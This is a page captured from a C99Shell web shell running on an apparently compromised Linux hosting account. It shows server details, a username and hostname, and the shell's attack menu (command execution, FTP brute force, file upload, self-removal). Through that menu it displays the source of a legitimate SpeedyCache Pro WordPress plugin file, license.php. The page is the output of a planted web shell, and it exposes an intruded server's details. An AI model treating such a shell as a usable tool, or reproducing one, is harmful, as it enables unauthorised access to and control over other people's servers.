!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/speedycache-pro/main/   drwxr-xr-x
Free 290.39 GB of 429.69 GB (67.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     license.php (4.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

if(!defined('ABSPATH')){
    die(
'HACKING ATTEMPT!');
}

include_once 
SPEEDYCACHE_DIR '/main/settings.php';

function 
speedycache_license_page(){
    global 
$speedycache;
    
    if(isset(
$_REQUEST['save_speedycache_license'])){
        
speedycache_license();
    }
    
    
speedycache_add_javascript();
    
settings_errors('speedycache-notice');
    
    
?>
    
    <div class="speedycache-setting-content">
        <div class="speedycache-tab-group" style="width:78%">
            <table class="wp-list-table fixed striped users speedycache-license-table" cellspacing="1" border="0" width="78%" cellpadding="10" align="center">
                <tbody>
                    <tr>                
                        <th align="left" width="25%"><?php esc_html_e('SpeedyCache Version''speedycache'); ?></th>
                        <td><?php
                            
echo SPEEDYCACHE_PRO_VERSION.(defined('SPEEDYCACHE_PRO') ? ' (Pro Version)' '');
                        
?>
                        </td>
                    </tr>
                    <tr>            
                        <th align="left" valign="top"><?php esc_html_e('SpeedyCache License''speedycache'); ?></th>
                        <td align="left">
                            <form method="post" action="">
                                <span style="color:var(--speedycache-red)">
                                    <?php echo (defined('SPEEDYCACHE_PRO') && empty($speedycache->license) ? '<span style="color:var(--speedycache-red)">Unlicensed</span> &nbsp; &nbsp;' '')?>
                                </span>
                                <input type="hidden" name="speedycache_license_nonce" value="<?php echo wp_create_nonce('speedycache_license');?>"/>
                                <input type="text" name="speedycache_license" value="<?php echo (empty($speedycache->license) ? empty($_POST['speedycache_license']) ? '' speedycache_optpost('speedycache_license') : $speedycache->license['license'])?>" size="30" placeholder="e.g. SPDFY-11111-22222-33333-44444" style="width:300px;"> &nbsp; 
                                <input name="save_speedycache_license" class="speedycache-btn speedycache-btn-primary" value="Update License" type="submit">
                            </form>
                            <?php if(!empty($speedycache->license)){
                                
                                
$expires $speedycache->license['expires'];
                                
$expires substr($expires04).'/'.substr($expires42).'/'.substr($expires6);
                                
                                echo 
'<div style="margin-top:10px;">License Status : '.(empty($speedycache->license['status_txt']) ? 'N.A.' wp_kses_post($speedycache->license['status_txt'])).' &nbsp; &nbsp; &nbsp; 
                                '
.($speedycache->license['expires'] <= date('Ymd') ? 'License Expires : <span style="color:var(--speedycache-red)">'.esc_attr($expires).'</span>' : (empty($speedycache->license['has_plid']) ? 'License Expires : ' esc_html($expires) : '')).'
                                </div>'
;
                                
                            }
?>
                        </td>
                    </tr>
                    <tr>
                        <th align="left">URL</th>
                        <td><?php echo get_site_url(); ?></td>
                    </tr>
                    <tr>                
                        <th align="left">Path</th>
                        <td><?php echo ABSPATH?></td>
                    </tr>
                    <tr>                
                        <th align="left">Server's IP Address</th>
                        <td><?php echo esc_html($_SERVER['SERVER_ADDR']); ?></td>
                    </tr>
                    <tr>                
                        <th align="left">.htaccess is writable</th>
                        <td><?php echo (is_writable(ABSPATH.'/.htaccess') ? '<span style="color:var(--speedycache-red)">Yes</span>' '<span style="color:green">No</span>');?></td>
                    </tr>        
                </tbody>
            </table>
        </div>
    <?php speedycache_promotion_tmpl(); ?>
    </div>
<?php
    speedycache_page_footer
(true);
}

function 
speedycache_license(){
    global 
$speedycache$lic_resp;

    if(!
wp_verify_nonce($_POST['speedycache_license_nonce'], 'speedycache_license')){
        
speedycache_notify(array(__('Security Check Failed''speedycache'),'error'));
        return;
    }

    
$license sanitize_key($_POST['speedycache_license']);
    
    if(empty(
$license)){
        
speedycache_notify(array(__('The license key was not submitted''speedycache'),'error'));
        return;
    }
    
    
speedycache_pro_load_license($license);
    
    if(!
is_array($lic_resp)){
        
speedycache_notify(array(__('The response was malformed<br>'.var_export($lic_resptrue), 'speedycache'), 'error'));
        return;
    }

    
$json json_decode($lic_resp['body'], true);
    
    
// Save the License
    
if(empty($json['license'])){
        
speedycache_notify(array(__('The license key is invalid''speedycache'), 'error'));
        return;
        
    }
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0042 ]--